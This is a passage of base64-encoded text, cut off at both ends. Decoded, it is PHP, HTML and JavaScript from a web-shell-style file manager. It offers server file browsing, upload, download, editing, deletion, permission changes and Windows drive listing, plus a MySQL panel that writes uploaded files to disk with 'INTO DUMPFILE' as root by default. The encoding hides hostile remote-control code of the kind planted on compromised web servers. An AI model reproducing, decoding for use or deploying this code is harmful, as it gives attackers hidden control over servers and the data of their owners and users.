sc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOwoJCX0gZWxzZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyBGdW5jdGlvbiBOZXdkaXIKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdvcGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPjxCPkZpbGUgTWFuYWdlcjwvYj4gPC9mb250PiBDdXJyZW50IGRpc2sgZnJlZSA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGZyZWUpLic8L2ZvbnQ+IG9mIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkYWxsKS4nPC9mb250PiAoPGZvbnQgY29sb3I9cmVkPicuJHVzZWRfcGVyY2VudC4nPC9mb250PiUpPC9mb250PicpOwoKPz4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4KICA8dHI+CiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPgoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPgogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KPC90YWJsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBjcmVhdGVkaXIoKXsKCXZhciBuZXdkaXJuYW1lOwoJbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7CglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsKCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsKCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsKCXZhciBuZXdwZXJtOwoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOwoJaWYgKCFuZXdwZXJtKSByZXR1cm47CgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsKCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7CgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsKCXZhciB0b2ZpbGU7Cgl0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7CglpZiAoIXRvZmlsZSkgcmV0dXJuOwoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOwoJJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsKCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpewoJdmFyIG5ld2ZpbGVuYW1lOwoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOwoJaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOwoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7CgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7CgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsKCWlmIChtICYmICFjb25maXJtKG0pKSB7CgkJcmV0dXJuOwoJfQoJJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsKCWlmICh0aGVmaWxlKXsKCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsKCX0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsKCXZhciBmaWxlbmFtZTsKCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7CglpZiAoIWZpbGVuYW1lKSByZXR1cm47CglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7Cn0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsKCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOwoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7CgkkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsKCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7CglpZiAodmlld193cml0YWJsZSkgewoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOwoJfQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ29kaXInKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KICA8P3BocAoJdGJoZWFkKCk7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsKCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSIiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7CglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOwoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOwoJfSBlbHNlIHsKCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsKCX0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsKCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJfQoJCQl9CgkJfQoJfQoKCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy8gR2V0IHBhdGgKCSRkaXJkYXRhPWFycmF5KCk7CgkkZmlsZWRhdGE9YXJyYXkoKTsKCglpZiAoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOwoJfSBlbHNlIHsKCQkvLyBPcGVuIGRpcgoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsKCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOwoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpewoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7CgkJCX0KCQl9Ly8gd2hpbGUKCQl1bnNldCgkZGlyZGIpOwoJCXVuc2V0KCRmaWxlZGIpOwoJCUBjbG9zZWRpcigkZGlycyk7Cgl9CglAc29ydCgkZGlyZGF0YSk7CglAc29ydCgkZmlsZWRhdGEpOwoJJGRpcl9pID0gJzAnOwoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7CgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSR0aGlzYmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCX0KCQl9Cgl9CgoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJJGZpbGVfaSA9ICcwJzsKCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7CgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOwoJCQkkdGhpc2JnID0gYmcoKTsKCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsKCQkJcCgnPHRkPjxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0ZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5FZGl0PC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3Zh